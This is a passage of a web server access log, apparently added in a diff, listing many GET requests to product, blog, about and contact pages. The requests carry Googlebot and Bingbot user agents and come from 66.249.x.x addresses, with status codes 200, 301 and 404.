(compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:44 web-app[2345]: GET /blog/article-1 status=200 from=66.249.67.79 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:45 web-app[2345]: GET / status=301 from=66.249.83.29 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:45 web-app[2345]: GET /products status=200 from=66.249.72.248 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:45 web-app[2345]: GET /products/item3 status=200 from=66.249.64.240 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:45 web-app[2345]: GET /products/item4 status=200 from=66.249.94.108 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:45 web-app[2345]: GET /products/item7 status=200 from=66.249.92.18 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:45 web-app[2345]: GET /products/item8 status=200 from=66.249.67.171 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:45 web-app[2345]: GET /products/item9 status=200 from=66.249.76.144 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:46 web-app[2345]: GET /products status=200 from=66.249.92.89 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:46 web-app[2345]: GET /products/item19 status=200 from=66.249.74.168 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:47 web-app[2345]: GET /products/item17 status=200 from=66.249.78.43 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:47 web-app[2345]: GET /products/item6 status=200 from=66.249.83.83 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:48 web-app[2345]: GET /products/item1 status=200 from=66.249.69.33 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:48 web-app[2345]: GET /products/item19 status=200 from=66.249.72.205 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:49 web-app[2345]: GET /products/item15 status=200 from=66.249.86.254 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:49 web-app[2345]: GET /products/item7 status=200 from=66.249.74.192 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:50 web-app[2345]: GET / status=200 from=66.249.65.26 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:50 web-app[2345]: GET /products status=200 from=66.249.75.98 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:50 web-app[2345]: GET /products status=200 from=66.249.90.227 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:50 web-app[2345]: GET /products/item2 status=200 from=66.249.84.70 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:50 web-app[2345]: GET /products/item3 status=200 from=66.249.68.155 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:50 web-app[2345]: GET /products/item9 status=200 from=66.249.76.142 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:51 web-app[2345]: GET /products/item13 status=404 from=66.249.82.47 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:51 web-app[2345]: GET /products/item8 status=404 from=66.249.71.194 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:51 web-app[2345]: GET /products/item8 status=404 from=66.249.79.196 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:52 web-app[2345]: GET /blog/article-2 status=200 from=66.249.69.35 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:52 web-app[2345]: GET /products/item11 status=200 from=66.249.70.33 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:52 web-app[2345]: GET /products/item19 status=200 from=66.249.92.101 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:53 web-app[2345]: GET /blog/article-2 status=200 from=66.249.88.26 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:53 web-app[2345]: GET /products status=200 from=66.249.93.22 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:53 web-app[2345]: GET /products/item14 status=200 from=66.249.83.28 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:53 web-app[2345]: GET /products/item15 status=200 from=66.249.71.36 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:53 web-app[2345]: GET /products/item2 status=200 from=66.249.95.216 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:53 web-app[2345]: GET /products/item9 status=200 from=66.249.69.224 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:54 web-app[2345]: GET /products/item11 status=200 from=66.249.94.82 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:54 web-app[2345]: GET /products/item14 status=200 from=66.249.82.14 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:54 web-app[2345]: GET /products/item8 status=200 from=66.249.67.11 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:55 web-app[2345]: GET /products/item15 status=200 from=66.249.84.205 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:56 web-app[2345]: GET /products/item11 status=200 from=66.249.79.101 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:56 web-app[2345]: GET /products/item14 status=200 from=66.249.72.243 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:56 web-app[2345]: GET /products/item15 status=200 from=66.249.90.42 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:56 web-app[2345]: GET /products/item19 status=200 from=66.249.71.160 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:56 web-app[2345]: GET /products/item3 status=200 from=66.249.71.209 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:56 web-app[2345]: GET /products/item6 status=200 from=66.249.89.166 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:57 web-app[2345]: GET /about-us status=301 from=66.249.64.213 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:57 web-app[2345]: GET /products/item14 status=200 from=66.249.95.79 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:57 web-app[2345]: GET /products/item7 status=200 from=66.249.67.241 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:57 web-app[2345]: GET /products/item8 status=200 from=66.249.69.71 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:58 web-app[2345]: GET /about-us status=200 from=66.249.89.247 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:58 web-app[2345]: GET /blog/article-2 status=200 from=66.249.66.73 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:58 web-app[2345]: GET /products/item14 status=200 from=66.249.71.252 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:58 web-app[2345]: GET /products/item17 status=200 from=66.249.73.137 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:58 web-app[2345]: GET /products/item17 status=200 from=66.249.85.218 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:58 web-app[2345]: GET /products/item17 status=404 from=66.249.84.132 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:58 web-app[2345]: GET /products/item18 status=200 from=66.249.67.200 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:58 web-app[2345]: GET /products/item3 status=200 from=66.249.90.81 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:58 web-app[2345]: GET /products/item9 status=404 from=66.249.92.31 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:59 web-app[2345]: GET /products/item2 status=200 from=66.249.84.21 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:00 web-app[2345]: GET /products/item16 status=200 from=66.249.74.1 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:00 web-app[2345]: GET /products/item6 status=301 from=66.249.92.88 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:01 web-app[2345]: GET /about-us status=200 from=66.249.73.54 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:01 web-app[2345]: GET /blog/article-1 status=200 from=66.249.80.93 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:01 web-app[2345]: GET /products/item11 status=200 from=66.249.71.57 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:01 web-app[2345]: GET /products/item14 status=301 from=66.249.75.104 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:01 web-app[2345]: GET /products/item17 status=200 from=66.249.81.201 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:01 web-app[2345]: GET /products/item4 status=200 from=66.249.90.65 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:01 web-app[2345]: GET /products/item8 status=200 from=66.249.67.248 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:02 web-app[2345]: GET / status=200 from=66.249.82.82 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:02 web-app[2345]: GET /about-us status=200 from=66.249.83.195 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:02 web-app[2345]: GET /products/item15 status=200 from=66.249.91.13 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:03 web-app[2345]: GET / status=200 from=66.249.92.244 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:03 web-app[2345]: GET /blog/article-2 status=200 from=66.249.70.163 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:03 web-app[2345]: GET /products/item6 status=200 from=66.249.73.34 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:04 web-app[2345]: GET /blog/article-1 status=200 from=66.249.71.135 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:04 web-app[2345]: GET /blog/article-2 status=200 from=66.249.77.170 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:04 web-app[2345]: GET /products/item1 status=200 from=66.249.67.237 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:04 web-app[2345]: GET /products/item10 status=200 from=66.249.70.154 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:04 web-app[2345]: GET /products/item17 status=200 from=66.249.83.122 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:04 web-app[2345]: GET /products/item19 status=200 from=66.249.83.121 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:05 web-app[2345]: GET / status=200 from=66.249.69.187 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:05 web-app[2345]: GET /products/item10 status=200 from=66.249.73.216 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:05 web-app[2345]: GET /products/item10 status=404 from=66.249.77.169 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:05 web-app[2345]: GET /products/item11 status=200 from=66.249.77.223 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:05 web-app[2345]: GET /products/item14 status=200 from=66.249.79.78 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:05 web-app[2345]: GET /products/item2 status=200 from=66.249.65.184 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:06 web-app[2345]: GET /contact status=200 from=66.249.78.71 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:06 web-app[2345]: GET /products/item1 status=301 from=66.249.90.21 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:06 web-app[2345]: GET /products/item19 status=200 from=66.249.71.110 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:06 web-app[2345]: GET /products/item19 status=200 from=66.249.72.252 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:06 web-app[2345]: GET /products/item6 status=200 from=66.249.73.48 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:06 web-app[2345]: GET /products/item8 status=200 from=66.249.88.52 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:07 web-app[2345]: GET /products/item13 status=200 from=66.249.77.146 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:07 web-app[2345]: GET /products/item19 status=200 from=66.249.68.32 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:07 web-app[2345]: GET /products/item4 status=200 from=66.249.94.102 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:08 web-app[2345]: GET /contact status=200 from=66.249.88.25 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:08 web-app[2345]: GET /products/item11 status=200 from=66.249.65.240 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:08 web-app[2345]: GET /products/item16 status=200 from=66.249.66.30 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:08 web-app[2345]: GET /products/item16 status=200 from=66.249.68.196 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:08 web-app[2345]: GET /products/item18 status=200 from=66.249.65.189 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:08 web-app[2345]: GET /products/item5 status=404 from=66.249.75.92 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:09 web-app[2345]: GET /contact status=200 from=66.249.88.156 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:09 web-app[2345]: GET /products/item17 status=200 from=66.249.94.54 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:09 web-app[2345]: GET /products/item4 status=200 from=66.249.80.79 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:10 web-app[2345]: GET /products/item10 status=404 from=66.249.67.28 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:10 web-app[2345]: GET /products/item14 status=404 from=66.249.77.187 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:10 web-app[2345]: GET /products/item9 status=200 from=66.249.69.133 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:11 web-app[2345]: GET /blog/article-1 status=200 from=66.249.85.107 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:11 web-app[2345]: GET /blog/article-2 status=200 from=66.249.71.180 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:11 web-app[2345]: GET /products/item14 status=200 from=66.249.83.127 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:11 web-app[2345]: GET /products/item15 status=200 from=66.249.73.243 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:12 web-app[2345]: GET /blog/article-2 status=200 from=66.249.89.162 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:12 web-app[2345]: GET /products/item19 status=200 from=66.249.65.99 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:12 web-app[2345]: GET /products/item19 status=200 from=66.249.84.224 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:12 web-app[2345]: GET /products/item19 status=404 from=66.249.69.155 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:12 web-app[2345]: GET /products/item7 status=200 from=66.249.66.222 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:13 web-app[2345]: GET /products status=200 from=66.249.84.92 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:13 web-app[2345]: GET /products/item11 status=200 from=66.249.66.109 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:13 web-app[2345]: GET /products/item18 status=200 from=66.249.87.122 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:13 web-app[2345]: GET /products/item19 status=200 from=66.249.88.46 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:13 web-app[2345]: GET /products/item19 status=301 from=66.249.65.223 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:13 web-app[2345]: GET /products/item7 status=200 from=66.249.87.44 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:14 web-app[2345]: GET /about-us status=200 from=66.249.64.109 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:14 web-app[2345]: GET /blog/article-2 status=200 from=66.249.91.99 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:14 web-app[2345]: GET /products/item14 status=200 from=66.249.67.45 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:14 web-app[2345]: GET /products/item19 status=200 from=66.249.64.248 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:15 web-app[2345]: GET /blog/article-1 status=200 from=66.249.70.82 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:15 web-app[2345]: GET /products/item6 status=200 from=66.249.72.63 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:16 web-app[2345]: GET /products status=404 from=66.249.69.28 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:16 web-app[2345]: GET /products/item14 status=200 from=66.249.66.181 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:16 web-app[2345]: GET /products/item16 status=200 from=66.249.92.93 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:16 web-app[2345]: GET /products/item17 status=200 from=66.249.91.229 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:16 web-app[2345]: GET /products/item7 status=301 from=66.249.90.73 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:17 web-app[2345]: GET /products/item11 status=200 from=66.249.88.51 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:17 web-app[2345]: GET /products/item15 status=200 from=66.249.67.121 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:17 web-app[2345]: GET /products/item17 status=200 from=66.249.86.71 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:17 web-app[2345]: GET /products/item18 status=301 from=66.249.67.135 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:17 web-app[2345]: GET /products/item3 status=200 from=66.249.78.55 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:17 web-app[2345]: GET /products/item7 status=301 from=66.249.68.207 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:18 web-app[2345]: GET /products/item4 status=200 from=66.249.90.145 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:18 web-app[2345]: GET /products/item9 status=200 from=66.249.80.5 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:19 web-app[2345]: GET /contact status=200 from=66.249.74.97 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:19 web-app[2345]: GET /products status=200 from=66.249.86.30 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:19 web-app[2345]: GET /products/item14 status=200 from=66.249.73.86 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:19 web-app[2345]: GET /products/item5 status=200 from=66.249.72.130 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:19 web-app[2345]: GET /products/item6 status=200 from=66.249.84.221 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:19 web-app[2345]: GET /products/item9 status=200 from=66.249.77.207 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:20 web-app[2345]: GET /blog/article-2 status=200 from=66.249.68.56 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:20 web-app[2345]: GET /products/item16 status=200 from=66.249.74.127 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:21 web-app[2345]: GET /products/item11 status=200 from=66.249.88.84 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:21 web-app[2345]: GET /products/item14 status=200 from=66.249.71.4 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:21 web-app[2345]: GET /products/item8 status=200 from=66.249.86.212 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:22 web-app[2345]: GET /products/item8 status=200 from=66.249.88.152 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:23 web-app[2345]: GET /blog/article-1 status=200 from=66.249.88.109 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:23 web-app[2345]: GET /products status=200 from=66.249.77.146 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:23 web-app[2345]: GET /products/item1 status=200 from=66.249.95.110 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:23 web-app[2345]: GET /products/item13 status=200 from=66.249.81.161 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:23 web-app[2345]: GET /products/item17 status=200 from=66.249.77.170 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:23 web-app[2345]: GET /products/item18 status=200 from=66.249.71.176 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:23 web-app[2345]: GET /products/item4 status=200 from=66.249.69.113 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:24 web-app[2345]: GET /blog/article-2 status=404 from=66.249.76.3 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:24 web-app[2345]: GET /products/item2 status=200 from=66.249.77.154 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:24 web-app[2345]: GET /products/item9 status=200 from=66.249.71.32 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:25 web-app[2345]: GET /products/item1 status=200 from=66.249.86.149 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:25 web-app[2345]: GET /products/item3 status=200 from=66.249.75.166 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:25 web-app[2345]: GET /products/item8 status=200 from=66.249.67.166 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:25 web-app[2345]: GET /products/item9 status=200 from=66.249.85.53 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:26 web-app[2345]: GET /products/item14 status=200 from=66.249.92.21 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:27 web-app[2345]: GET /products/item12 status=200 from=66.249.64.238 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:27 web-app[2345]: GET /products/item12 status=200 from=66.249.65.198 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:27 web-app[2345]: GET /products/item18 status=200 from=66.249.78.79 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:27 web-app[2345]: GET /products/item6 status=200 from=66.249.66.160 agent="Mozilla/5.0 (compatible; Googlebot/2.1; 